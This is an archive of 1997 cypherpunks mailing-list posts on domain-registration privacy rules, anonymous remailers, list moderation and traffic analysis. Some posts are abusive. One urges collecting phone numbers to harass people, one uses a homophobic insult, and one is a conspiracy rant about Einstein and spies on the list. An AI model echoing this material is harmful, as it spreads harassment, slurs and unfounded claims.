IAHC New TLD Report SLD Policies Message-ID: <199702081525.HAA18724@toad.com> The International Internet Ad-Hoc Committee released its report on new Top Level Domains for the Internet. It's interesting, and resulted from much political wrangling and religious conflict, and for the most part I think it's taking a reasonable approach to the problems, and I'm certainly not going to go postal like Postmaster Karl Denninger :-) A few particularly nice features: - .nom TLD, for name-based domains - Multiple registrars per name space, reducing the monopoly problem - trying to keep governments or PTTs from controlling it, though it's a bit big-business oriented for stability reasons. Mostly I wasn't worried, because sensible people were going to make sure they didn't do anything totally disastrous. Apparently I _should_ have been watching more closely, because the SLD _Second_ Level Domain part has some policies that seriously interfere with the privacy of potential domain name users. References and long quotes are below... To a large extent, they've been trying to avoid getting stuck in trademark problems by collecting lots of information and defining jurisdiction. In the process, they're asking you to sign away your first-born child in return for getting your name in the Yellow Pages(tm), and they're requiring all the Registrars to reject your application unless you do. The rules are especially inappropriate for the .nom domain, which is for personal names and such, and don't need overkill. There's a place for serious high-value commerce behaviour, and much of this isn't too inappropriate for .firm - but even that ignores the radical communication-pushed changes in the economy that make everybody able to run a worldwide business. It's not just that they want your email address (highly reasonable) or your phone and physical address (ought to be optional) or your IP address (they don't ask) or domain name (ok) or digital or written signature. It's not even just obnoxious things like demanding that you swear (against _my_ religion...) to a bunch of things, like "the reason for requesting this particular domain name" or what you're planning to do with the domain name (perfectly reasonable things to ask for as optional extras, and business may want to reveal these, but "Decline to State" or "" or "MYOB" are perfectly reasonable responses.) It's things like designating an agent for service of process, and "submits to the personal and subject matter jurisdiction and venue of a competent tribunal in the country where the registrar resides". Aside from believing that you ought to be able to choose what governments, if any, you're going to subject yourself to, I'd also expect that this would be annoying to people who don't live in one of the <=28 countries that get Registrars in them. And certainly if you're going to designate someone as an agent for service of process (you can use the Registrar) there'd better be some contractual language available so you can tell what you're swearing to. Is it reasonable to have a policy that users need to indicate how they'd like to receive communications about name and trademark disputes? Sure. And that they hold the Registrar harmless in such disputes? Probably. And which dispute resolution organization they're willing to have resolve disputes over names (a _much_ milder statement than "submit to personal and subject matter jurisdiction"....)? Yeah, even if the default is "the Registrar can disconnect your name if you don't respond to trademark complaints in N days." Certainly the Registrar ought to have some options here. ======================== REFERENCES =================================== The Final Report is at http://www.iahc.org/draft-iahc-recommend-00.html (nice name for a "final" report :-) The Application Forms for SLDs aren't in the draft on the web page, so I'm assuming they're referring to something similar to the December draft's Appendix. Mailing list archives are at http://www.iahc.org/iahc-discuss/ ========================================================================== QUOTES FROM THE REPORT ========================================================================== 6.1.5 Second-Level Domains SLD application Application for a second-level domain name must include: Sufficient contact and intended use information Appointment of an agent for service of process Agreement to jurisdiction in the event of trademark litigation. Mediation and arbitration clause (discussed in a later section) A separate document entitled "SLD Applications" (see section 1.4) contains the information that must be included in a SLD application. Applications submitted electronically must include state of the art electronic identification; written applications must be signed by the applicant, if an individual, or by an officer or other legally authorized representative if the applicant is an entity. Renewal and non-use To promote accountability, discourage extortion and minimize obsolete entries, SLD assignments must be renewed annually. Appendix B, attached, includes the information that must be included in a renewal application. Renewal applications submitted electronically must include state of the art electronic identification; written renewal applications must be signed by the applicant, if an individual, or by an officer or other legally authorized representative if the applicant is an entity. In addition to requiring annual renewal, CORE will develop policies to ensure the recovery of sub-domains which no longer have an authoritative source (lame delegations). 6.2 Discussion In order to ensure consistency of basic service across registrars, certain information is required in all applications for SLDs under gTLDs. It is desirable that a domain name application include sufficient information regarding the applicant and the applicant's intended use of the domain name to ensure applicant accountability and to ensure that sufficient information is available to enable trademark owners to assess the need for a challenge to the proposed SLD domain. ================= [more stuff] ================================================ 7.1.3 Publication All applications for SLDs in the gTLDs will be published on a publicly available, publicized web site, immediately upon receipt by the registrar. Such publication entries will include: Name of the SLD; Contact and use information contained in the application; A permanent tag or label (created by CORE) indicating whether the applicant chose the option of waiting 60 days prior to assignment of the requested SLD or chose to forego the 60 day wait; Entry validation using accepted digital signature and timestamping techniques. Those applicants choosing not to wait will not be in a position to claim the defensive benefit of the waiting period against a challenge, at any time, by a trademark owner. =================================================== ======================================================================= APPENDIX FROM DRAFT - SLD APPLICATION REQUIREMENTS ======================================================================= 11.1 Appendix A - SLD Application Requirements Every application for assignment of a SLD must include the following elements (incomplete applications must be returned to the applicant for completion): 1.Applicant's name, business or residential address, email address, fax and phone number(s). 2.The state or country of incorporation or partnership (if applicable). 3.The name and address of a designated agent for service of process where the registrar is located, which may be the applicant in the case of an individual. (The applicant may designate the registrar as the agent for service of process.) 4.A sworn statement by the individual applicant or by an officer or general partner of a corporate or partnership applicant: 1.that there is a bona fide intent to use the domain name publicly within 60 days of registration, and a bona fide intent to continue such use in the foreseeable future; 2.that the domain name will be used for [fill in the blank, e.g., "for a web site to advertise applicant's candy manufacturing business"]. This may be a broad statement and is not intended in any way to restrict actual use. However, to the extent that a commercial use is intended, this statement should identify the industry in which the use is intended to be made and should indicate which of the following uses will be made: web site, email, bulletin board and/other describe); 3.that the applicant believes that the intended use of the domain name will not infringe any rights of any other party; 4.that the reason for requesting this particular domain name is that it conforms to [check one of the following]: ___ applicant's company name or variation thereof ___ applicant's trademark or variation thereof ___ individual applicant's name or variation thereof ___ other (provide full explanation) 1.that the applicant submits to the personal and subject matter jurisdiction and venue of a competent tribunal in the country where the registrar resides for purposes of any action brought under trademark law, unfair competition laws, or similar/related laws arising out of actual or intended use of the domain name applied for; and applicant waives all rights to challenge such personal jurisdiction, subject matter jurisdiction and/or venue. ============================================================================ ======== # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From bs-org at c2.net Sat Feb 8 07:55:58 1997 From: bs-org at c2.net (bs-org at c2.net) Date: Sat, 8 Feb 1997 07:55:58 -0800 (PST) Subject: lead remailer is shut down Message-ID: <199702081555.HAA20007@toad.com> At 21:42 1997-02-07 -0800, Bill Stewart wrote: >Raph's remailer list is at > http://www.cs.berkeley.edu/~raph/remailer-list.html >and indicates lots of different remailer features, >including whether they accept or require PGP, >and what reliability they've been getting recently. Thanks, and it worked too... > >The remailer that was shut down was the remailer named "lead"; >you may have noticed that your reply went to a machine named "zinc"..... > >At 11:56 PM 2/7/97 +0100, you wrote: >>Can anybody give me the address of reliable remailer which accepts >>pgp messages. >> >>BTW which remailer was shut down and why? >> >> >> >> >> >> >> > ># Thanks; Bill ># Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com ># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp ># (If this is a mailing list, please Cc: me on replies. Thanks.) > > From paul at fatmans.demon.co.uk Sat Feb 8 07:56:00 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Sat, 8 Feb 1997 07:56:00 -0800 (PST) Subject: unimbibing Message-ID: <199702081556.HAA20008@toad.com> > I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work. > Get me off this list now.! > I joined to learn about cryptography, not listen to some socially retarded juveniles argue over who's got the biggest dick. I participate in this list to discuss cryptography and related issues. If you have been reading posts discussing large genitalia you are probably confusing list traffic with private email from your gay friends. Here are instructions telling you how to unsubscribe: To unsubscribe from the cypherpunks mailing list: Send a message to majordomo at toad.com with the *MESSAGE BODY* reading exactly as follows: unsubscribe cypherpunks you at your.domain.com Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From attila at primenet.com Sat Feb 8 07:56:01 1997 From: attila at primenet.com (Attila T. Hun) Date: Sat, 8 Feb 1997 07:56:01 -0800 (PST) Subject: faulty moderation software: duplicate messages Message-ID: <199702081556.HAA20009@toad.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970207:1759 "Mark M." said: +All messages with "Sender: owner-cypherpunks-unedited at toad.com" are +received from the flames list. The difference between the unedited and +moderated lists is that the moderated list changes the message ID, +appending toad.com, and deletes all received headers before +"majordom at localhost.*by toad.com". None of the messages are being +doubled; this is just the result of buggy software if you receive both the unedited and the censored plus flames, each message should be doubled --unedited sends all messages, but fails to always mark them in sender -basically, you need to key on the fact the Message-ID is NOT .... at toad.com for the unedited file no, I dont have a problem with that, it is just stupid on toad's part (John?) to not correctly identify the pass through messages with 'Sender: owner-cypherpunks-unedited at toad.com' --a few are, but the vast majority are still shipped out as 'Sender: owner-cypherpunks at toad.com' (and the 'Received' chain as I pointed out in my original post). to me that is piss poor list management. unfortunately, I can not use procmail at this point on my mail reader platform, but the internal filters are multilevel and do allow enough flexibility. I use procmail extensively on my host for autobots, spam filtering, objectional posters filtering, etc. I think you probably have an error in your procmail script as to sending 'unedited' to flames. the theory stated is: mainline (censored) + flames == unedited but I will not test it since I prefer to read/respond off line with MR/2 than Pine online. I will request Nick Knight for the construction of his folders (except he has no lock mechanism) and I might write a PPP POP3 mail recovery program, pass it through procmail which passes it to a function to write it to MR/2's folders. however you slice it, censorship on a freedom of speech list just does not make it and we make fools of ourselves if we think otherwise. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvxHR704kQrCC2kFAQFQyAP+LXpWz1bFoGAs2tu+stR4YD8OBbRPv8cO /vLuf/oB6auYCI3I4mx1raPEFmg0Ul7dKf7Z9hINukkLbjMQtK4exCSlXeDK7kyz 2N6IbUYviauCHr2CM5w/kZ6GBKiajCfa+QysoKLIfrHGr35WUrSY+as/5cJ4XtYQ c+yw9WLbIuk= =B67K -----END PGP SIGNATURE----- From attila at primenet.com Sat Feb 8 07:56:02 1997 From: attila at primenet.com (Attila T. Hun) Date: Sat, 8 Feb 1997 07:56:02 -0800 (PST) Subject: censorship and headers Message-ID: <199702081556.HAA20010@toad.com> -----BEGIN PGP SIGNED MESSAGE----- the "message" example which follows is obviously a message which should have been destinated for owner-cypherpunks-flame. there is absolutely no indication of the differentation and the header shows: Sender: owner-cypherpunks at toad.com when it should have shown: Sender: owner-cypherpunks-edited at toad.com let's put it this way, if cp is to be censored, might as well do the job correctly as this message was dumped into the main list. regardless, censoring what is supposed to be the free speech defenders of the online world is a poor example of our toleration for differing viewpoints, regardless of their alledged stupidity or off-topic value, or lack of value. So far, cypherpunks is showing less tolerance for freedom of speech that the United State Supreme Court. You all know something I dont? or do I need to start cleaning and oiling real soon? --attila +Received: from toad.com (toad.com [140.174.2.1]) + by primenet.com (8.8.5/8.8.5) with ESMTP id FAA10780 + for ; Fri, 7 Feb 1997 05:23:55 -0700 (MST) +Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id +EAA21727; Fri, 7 Feb 1997 04:19:54 -0800 (PST) Received: from +sirius.infonex.com (root at sirius.infonex.com [206.170.114.2]) by +toad.com (8.7.5/8.7.3) with ESMTP id EAA21718; Fri, 7 Feb 1997 +04:19:47 -0800 (PST) Received: from mail.infonex.net +(dfbfl4-37.gate.net [199.227.103.228]) by sirius.infonex.com +(8.7.3/8.7.3) with SMTP id EAA26850 for cypherpunks at toad.com; Fri, 7 +Feb 1997 04:19:33 -0800 (PST) Message-Id: +<199702071219.EAA26850 at sirius.infonex.com> Date: Friday, 07 Feb 97 +07:19:25 EST +To: cypherpunks at toad.com +From: winsock at rigel.cyberpass.net (WinSock Remailer) +X-Mailer: WinSock Remailer Version ALPHA1.3 +X-Comments: - +X-Comments: This message is NOT from winsock at rigel.cyberpass.net. It +was X-Comments: remailed by an automated anonymous remailer. +X-Comments: - +X-Comments: SEND ALL COMPLAINTS AND BLOCKING REQUESTS DIRECTLY TO: +X-Comments: REOP-L at cornell.edu +X-Comments: - +X-Comments: WinSock Remailer (winsock at rigel.cyberpass.net) +X-Comments: http://www.cyberpass.net/~winsock/ X-Comments: - +X-Remailer-Setup: Maximum Message Size -- None +X-Remailer-Setup: Reordering is ON, Mail Poolsize is 3 +X-Remailer-Setup: News Posting DISABLED +X-Remailer-Setup: Subject Header KILLED +X-Remailer-Setup: Logging OFF +X-Remailer-Setup: All messages must be PGP encrypted +Subject: Re: Sphere packings +Sender: owner-cypherpunks at toad.com +Precedence: bulk +X-UIDL: e2bae6a70f8b97f156939d711ba124ba -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvxVZr04kQrCC2kFAQG7TwP/XI3wSXvMUgYdIqyjrXUN5CT5W/XVONqF jOfGDNxeTj+UbvIGuMzfcdxZB0X2lMCm8IptXncDfQgULIt6Fex9xfBmrlr1F12G xdnZKwoU9QUga27UX1Lyfw3V8uJYgx10h1o1/54CPAoFJVBhWwA5aI6RL/7hvoeI E/l3Tx9iIyE= =djYo -----END PGP SIGNATURE----- From stewarts at ix.netcom.com Sat Feb 8 07:57:39 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 8 Feb 1997 07:57:39 -0800 (PST) Subject: Successfully Routing Around Censorship In Italy Message-ID: <199702081557.HAA20051@toad.com> In Cu Digest, #9.07 -- see Cu Digest Homepage: http://www.soci.niu.edu/~cudigest/ * is a nice article on how an Italian mailing list was blocked by the University bureaucracy. LISA (Lista Italiana Sull'Accesso a Internet) is "an unmoderated area devoted to discussion about social, cultural and economic aspects related to the development of the Internet in Italy." Two days later they were up and running on a machine in Utah. > Choosing censorship instead of an open debate is > something we will never be willing to silently accept. > Laura Caponi > Owner of LISA > Lista Italiana Sull'Accesso a Internet * This issue isn't on the web page quite yet.... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From aga at dhp.com Sat Feb 8 07:57:42 1997 From: aga at dhp.com (aga) Date: Sat, 8 Feb 1997 07:57:42 -0800 (PST) Subject: WANTED: Tolerant, anonymity-friendly news admins 1.03 Message-ID: <199702081557.HAA20052@toad.com> On 7 Feb 1997, lcs Remailer Administrator wrote: > aga writes: > > > Who attacked the network and for what reason? > > Well, as best I can tell I've gotten caught in the crossfire of a > spam/"anti-spam" spam war. People are forging articles through > anonymous remailers to solicit spam to non-spamming customers of > "spam-friendly" ISPs, in the hopes of driving those customers away. > In other words, a lot of articles are being posted to groups like > alt.make.money.fast with headers like: > > From: customer at isp.under.attack (My^ISP^spams^I^should^switch) > > Then the spam bots collect the addresses, and send lots of mail like > > To: customer at isp.under.attack (My^ISP^spams^I^should^switch) > Subject: Great opportunity!!! > > My^ISP^spams^I^should^switch, > > I saw your post the other day, and have an oportunity for you that's > so good you can't miss it... > > It would be amusing if it weren't causing me hassles. Ultimately, > however, the person doing this is clearly trying to get ISPs to set > more restrictive policies about what mail/news customers can send, Well, that is bullshit, and that person needs to be stopped. Anyone trying to get more restrictive policies needs weeded out and identified, and then dealt with. > while knocking off a few anonymous remailers and mail2news gateways in > the process. > > > Well, just who is cutting you off and for what reason? > > And what is their telephone number? > > At issue here are a number of complicated high-level administrative > issues. It's not just that someone is trying to pull the plug on me. > I've been asked by someone who is not the one getting the phone calls > or exerting anti-mail2news pressure if I would stop using MIT news > servers. The reason is that that person needs to maintain good > relations with the people who are being harassed over the fogery. > Just who is getting harassed over this. All you need to do is get me the names and phone numbers, and we will eliminate this problem immediately. > I don't really want to go into details. No, do not do it in this list, but respond by a private response to this address. This is a place you can trust. The point is that this > situation is a lot more subtle than whether the pro-mail2news people > can "out-harrass" the people complaining about forgeries. Therefore, > I would sincerely appreciate it if you did not try to make any phone > calls or do anything to use up any more of these people's time. Well, it sounds like you are being a chicken shit now. The whole world runs on the telephone, and it all runs by voice, and not by text. I > fully intend to keep mail2news running, and am just trying to get more > news servers (after having lost one) to maintain reliability and > strengthen my position. > > > Just what is your definition of "abuse?" > > This got answered in a separate message. > yes it did. But why the fuck do you not want to find out who did this to you? I mean, Jesus fucking CHRIST! Let's get some fucking balls here. You can not let that mothetfucker get away with that! All you need is telephone numbers for some VERY nice phone calls. Learn to use your voice and not just your keyboard. From owner-cypherpunks-unedited Sat Feb 8 08:12:07 1997 From: owner-cypherpunks-unedited (owner-cypherpunks-unedited) Date: Sat, 8 Feb 1997 08:12:07 -0800 (PST) Subject: No Subject Message-ID: <199702081612.IAA21561@toad.com> From dlv at bwalk.dm.com Sat Feb 8 08:26:44 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 8 Feb 1997 08:26:44 -0800 (PST) Subject: remailer-operators DEA agents? In-Reply-To: <19970207054708.10191.qmail@squirrel.owl.de> Message-ID: <7yDT2D70w165w@bwalk.dm.com> Sandy the C2Net Censor tossed the following question to flames: Secret Squirrel writes: > Dr.Dimitri Vulis KOTM wrote: > > c.musselman at internetmci.com (Charley Musselman) writes: > > > C'punks -- > > > When I told a friend about the alt.drugs.pot cultivation newsgroup > > > and suggested that he use an anonymous remailer to post to the group, > > > he laughed and said, "Who do you suppose runs the remailers? ATF, > > > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > > > anyone know the answer? Specifically, how can we choose a trusted > > > remailer? > > > > Even if the feds are not directtly involved, the so-called "cypher punk" > > remailers are run by people who should not be trusted. Check out their > > remailer-operators list: it's full of announcements that some specific > > person posted something via the remailer that the operator didn't like. > > Examples, please? Plenty. There was a whole thread about the operator of the defunct lead remailer disclosing his users' identities. Here's a recent one: ]Received: from get.wired.com (HELO wired.com) (204.62.131.5) ] by anon.lcs.mit.edu with SMTP; 6 Feb 1997 23:37:35 -0000 ]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id PAA09050; Thu, 6 Feb 1997 15:37:34 -0800 (PST) ]Message-Id: <3.0.32.19970206160603.0086acb0 at get.hotwired.com> ]X-Sender: toxic at get.hotwired.com ]X-Mailer: Windows Eudora Pro Version 3.0 (32) ]Date: Thu, 06 Feb 1997 16:06:04 -0800 ]To: remailer-operators at anon.lcs.mit.edu ]From: Jeff Burchell ]Subject: Commercial SPAM from ClaritaInc at aol.com ]Mime-Version: 1.0 ]Content-Type: text/plain; charset="us-ascii" ] ] ]Tofu trapped a bunch of shit coming from ClaritaInc at aol.com. They're ]posting to usenet, advertising things for sale (Including a $10 pamphlet ]explaining how to send anonymous internet email, and the standard ]make.money.fast chainletter scheme) ] ]I've source blocked them, I suggest you do the same. ] ]-Jeff Jeff also said the following, which seems to contradict the above: ]Delivered-To: remailer-operators at anon.lcs.mit.edu ]Received: from get.wired.com (HELO wired.com) (204.62.131.5) ] by anon.lcs.mit.edu with SMTP; 7 Feb 1997 01:17:48 -0000 ]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id RAA26127; Thu, 6 Feb 1997 17:17:47 -0800 (PST) ]Message-Id: <3.0.32.19970206174616.0086c8e0 at get.hotwired.com> ]X-Sender: toxic at get.hotwired.com ]X-Mailer: Windows Eudora Pro Version 3.0 (32) ]Date: Thu, 06 Feb 1997 17:46:16 -0800 ]To: remailer-operators at anon.lcs.mit.edu ]From: Jeff Burchell ]Subject: Useage Policy. ]Mime-Version: 1.0 ]Content-Type: text/plain; charset="iso-8859-1" ]Content-Transfer-Encoding: quoted-printable ] ] ]I'm in the process of setting up an autoresponder on the ]abuse at mailmasher.com address. I'd appreciate people's feedback to this ]autoresponder message, and the policies that it describes... ] ] ]Hi. This is in regards to a letter you sent to abuse at mailmasher.com. I ]hate autoresponders too, but I=92ve found that this is a special case and is ]probably warranted. ]I=92ve been running anonymous services for a couple of years now, and have ]answered thousands of pieces of email regarding MailMasher users. Please ]take my word on this one, you really need to at least skim the rest of this ]message. ] ]I will read your email, I promise. However, if your email can be answered ]by something that is contained in THIS message, I won=92t respond to it. ]Sorry. I run MailMasher as sort of a hobby, while holding down a dayjob ]and I really don=92t have time to answer all mail personally. ] ]And now on to the important stuff=85 ] ]First, the answer to the most frequently asked MailMasher question=85 If a ]user of the MailMasher is Harassing or otherwise bothering you, it can be ]stopped. Send a blank message to blockme at mailmasher.com. Your email ]address will be added to a list of addresses that MailMasher will refuse to ]mail to, and you=92ll never get anything from here again. ] ]MailMasher is an anonymous service. This means that even I don=92t know who ]is using it. Any internet user can use a web interface to create an ]anonymous MailMasher email account. I don=92t ask them who they are, and my ]machine doesn=92t keeps logs that could be used to identify users. So ]please, don=92t ask me to identify a user. I can=92t do it.=20 ] ]I also don=92t filter anything for content. Several years ago, in what has ]now come to be known as the Prodigy case (Stratton-Oakmont & Porush v. ]Prodigy. Details at ]http://www.eff.org/pub/Legal/Cases/Stratton_Oakmont_Porush_v_Prodigy ) A ]legal standard was set. Basically, if a service provider deletes posts, ]intercepts emails or otherwise tries to exercise editorial control over any ]of its users, then the service provider can be held responsible for ALL of ]the content that goes through the service. MailMasher transfers around ]10,000 messages a day. It is impossible for me to monitor traffic like ]that. Therefore, I do not even know what most MailMasher users are using ]their accounts for. It really isn=92t any of my business, and because I ]don=92t make it my business, legally, I can=92t be held responsible for the ]actions of MailMasher users. ] ]I also don=92t delete accounts. Because, when I delete an account, the user ]can always come right back and create another one with a different address. ] If someone is going to be behaving badly on the Internet, I for one would ]prefer that they always do it from the same email address, so I can just ]add them to my killfile or email filters. ] ]So, to summarize: ] ]1. I intentionally have made it impossible for anyone, including myself to ]determine the identities of MailMasher users. ]2. I will not under any circumstances monitor a user or delete an account. ]3. I will make a good faith effort to keep you from being bothered by ]MailMasher users, through the use of a destination block filter. ]4. I neither condone nor condemn any action taken by any MailMasher user, ]either in conjunction with their MailMasher use or not. ] ]So=85 you ask, Why would I want to run a service that lets the spammers, an= ]d ]the porn freaks, and the warez kiddies do their thing? The answer is ]simple: because it also allows for much much more. A MailMasher user can ]communicate without repercussions to people all over the world. I have ]received many thank-yous from users sometimes explaining what they used my ]service for. There are people in certain countries who have a very ]legitimate fear of speaking out, who use this and other anonymous services ]to communicate with the U.S. Countless people have used anonymous services ]to very openly discuss items that are considered secret to certain members ]of the Church of Scientology. Victims of all sorts of abuse can speak ]truly anonymously (sometimes for the first time). Even abusers can speak ]freely, which helps with recovery. ]It is for these examples that I run this service. I think a little noise ]and junk is a small price to pay for all of this. You take the good with ]the bad. ] ]This is free speech in one of its most raw forms, staring you in the face. ]You may not like it; It may offend you; It might even encourage illegal ]behavior, but it is speech, and in the United States, it is protected by ]the Constitution. =20 ] ]Thank you for your time. If you=92d like to contact me again, without ]tripping this autoresponder, send mail to remailer-admin at mailmasher.com. ] ]-Jeff Burchell, MailMasher Admin ] --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From jsears at lsbsdi2.lightspeed.net Sat Feb 8 08:33:23 1997 From: jsears at lsbsdi2.lightspeed.net (James Sears) Date: Sat, 8 Feb 1997 08:33:23 -0800 (PST) Subject: hello Message-ID: <1.5.4.32.19970208163909.0068d200@mail.lightspeed.net> unscribe From dthorn at gte.net Sat Feb 8 08:34:21 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 8 Feb 1997 08:34:21 -0800 (PST) Subject: What else do I need for an Internet Server In-Reply-To: <199702080427.UAA04975@f29.hotmail.com> Message-ID: <32FCAAB0.292D@gte.net> Otto Matic wrote: > What else do I need for an internet server? > HP Vectra Towers 2 each 486 cyrex chips 50 meg processor Need high > speed hard drives. These are the Tall Towers that have multiple > drives, these are server towers. > I think I have a router Hub. And a couple LAN cards. > That's all I have. But I just got them, and I want to use them. I assume I > will be using some kind of UNIX software. HP does some strange things to their BIOS software - you may want to get one of those net analyzer tools and some low-level software that can monitor what your HP's are sending and receiving, just in case. They don't normally use Vectras for UNIX, so what effects you can expect, I don't know. From dthorn at gte.net Sat Feb 8 08:56:06 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 8 Feb 1997 08:56:06 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation In-Reply-To: Message-ID: <32FCAFCD.A24@gte.net> ??? wrote: [some text deleted] > > Before I explain what has happened, I want to make one thing > > absolutely clear. Though I've thought the moderation of cypherpunks > > was a terrible idea from the start and am even more convinced of it > > now, I don't assign any blame to Sandy. I believe he offered to > > moderate the list with the best of intentions, and I sincerely > > appreciate his efforts to try to revive what was once a fantastic > > mailing list, even if in my opinion those efforts have backfired. This is the fatal mistake, assuming it's really a mistake. I've worked under several corporations where, at a certain point in time, things just "went crazy", and the owners/ managers were scrambling desperately to plug as many holes in the dike as they possibly could, to no avail. People don't understand why things just "go crazy" at a particular point, and so they accept the coincidence theory ruse, lacking any other evidence. Use your head, folks. This is not a list made up of sewing-circle nannies, these are security people, NSA, CIA, and all the ugly things you shut out of your conversations because you don't want to admit the truth. "Paranoia is a way of knowing". Today I saw an old picture of Albert Einstein in full Indian regalia, smoking a peace pipe with some Hopi people. I thought of the Capone mob and the "kiss of death", or Judas and Jesus, you get the picture. So Einstein puts his name and reputation and personal seal of approval on the creation of the Doomsday Device, the atom bomb, knowing full well that it will be used to murder millions of people. What does he do for an encore? Plants the "kiss of death" on the Hopis, whose environment is co-opted by the mad bombers and their Nazi-infested thug "scientist" cohorts, for the experimentation and storage of nuclear and other hazardous materials. You know, Nevada, Arizona, New Mexico, all those "useless, desert lands" occupied by the Indians. From alan at ctrl-alt-del.com Sat Feb 8 08:59:36 1997 From: alan at ctrl-alt-del.com (Alan Olsen) Date: Sat, 8 Feb 1997 08:59:36 -0800 (PST) Subject: Enlightened commentary on Netizen. In-Reply-To: <199702080425.UAA08800@toad.com> Message-ID: <3.0.1.32.19970208085517.02d211a8@mail.teleport.com> -----BEGIN PGP SIGNED MESSAGE----- At 08:41 PM 2/6/97 -0800, Anil Das wrote: > However, the question has to be asked, why the fuck should we non US citizens go and buy > cryptographic software that is deliberately coded to allow the US government to read our mail? You shouldn't. Maybe someone should print up a batch of "Voyeur Enabled" stickers for all the GAKed products (or should that be KRAP products, since it is the Key Recovery Alliance, but that is redundant) we will be seeing at our local software stores. Sometimes I think the reason for all this snake oil we have been seeing is the Feds need it for extra lubricant so they don't chafe themselves while getting off on reading our mail. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMvyv1+QCP3v30CeZAQEGigf+PA45Q2ySEZ6iLwc8+fRURvXJRinStWwy oNGWKDnyYHFJ91L8Z+11oKvMov45CC4MOISy36/Oz2CY9qyq8l5L1wTU7J8CezsS 3QezDreJtUXr/OCmxRngOQbeHuGDkXuIocfTV7sZU/j7ARWj9hKCd39xf6J/MmZ6 zjKS7olJmzMMyJrAWaNo5zaW4g/ER8wJiI0zbakvrd/8Y+VJkiTN05znbIfLiOTV 0Olt/OaX4seWWNwZb5FaPv2y8ST3j+xm4Uv6fdc4Qo8QGWnGpuBAKo0D+q39KNkY Ps47vKyf2VwQM6Ci49/uuU8um/l9TmDsuHkYYmsoDfsGpcZImEWzZw== =Prg6 -----END PGP SIGNATURE----- --- | "Mi Tio es infermo, pero la carretera es verde!" | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From markm at voicenet.com Sat Feb 8 09:06:39 1997 From: markm at voicenet.com (Mark M.) Date: Sat, 8 Feb 1997 09:06:39 -0800 (PST) Subject: anonymous remailers In-Reply-To: <199702080810.AAA13064@toad.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Sat, 8 Feb 1997, Jeremiah A Blatz wrote: > Ummm, if you run your own remailer, and don't get lots of people to > use it, then traffic analysis will reveal that you are the sender > quite quickly. It will pretty much make everything in the chain before > your remiler useless. If you send your message through remailers a, b, > c, and d like this: > > you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen > > and only you use c, then your effective chain is: > > someone who could only be you -> d -> alt.drugs.and-other-various-horsemen This is assuming that it is a reasonable assumption that all traffic going through remailer c originated from the owner. If there is one non-corrupt remailer in the chain before c, then this would not be a valid assumption because traffic from the owner would be indistinguishable from traffic sent by anyone else. If the remailer has low traffic, the solution is, of course, to make it higher traffic. Chain a bunch of messages that get sent to /dev/null through the remailers, being sure to include c somewhere in the middle of the chain. If Mixmaster is used, then it would be virtually impossible to differentiate between "real" messages and messages destined for /dev/null. It would be a little easier with Type I since the size of the ciphertext decreases after each hop. This all assumes that encryption is being used, of course. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMvyzcCzIPc7jvyFpAQHRpQf+LusfAS8dhDczpYTHGjgIRo38gPHeDdVn +qmmikRNravoEiPD9GIrZ4OeYKOs6zykvhWuMoTtsVi/a7p1HZyWzl5A5KkxofUv nLOUoPriQ9Ps8fzc3B31G5nwj5d6Es7nnfZbGk1dV5KS5bN7fyu9umBeFiW7jNcj eTf8GmFH7Rxi5aoUc0uMMR/YffMNl0fHo+wooPNnTBMppLouTIr9iQdCxDOJ7eJc QAFyEXYWtRP8AqrnB0/pVAXUtrnui+Ev1waOkMYKbWuiQ8tkHbLAvcmpAVnD67jX 4f3ZQkhXG6C4VbYF3fTlL0ujZgRal0csG0X4u6x/5ID4Blle9hwtIQ== =BqMW -----END PGP SIGNATURE----- From dthorn at gte.net Sat Feb 8 09:10:48 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 8 Feb 1997 09:10:48 -0800 (PST) Subject: Internet Alert! Pay for local dial-up?? In-Reply-To: <199702080516.AAA11248@alberta.sallynet.com> Message-ID: <32FCB34A.7FBE@gte.net> E-Mail Communications wrote: > See our "Patriotic Quotes That Make Sense" > at the end of this publication. > "We will always remember. We will always be proud. We will > always be prepared, so we may always be 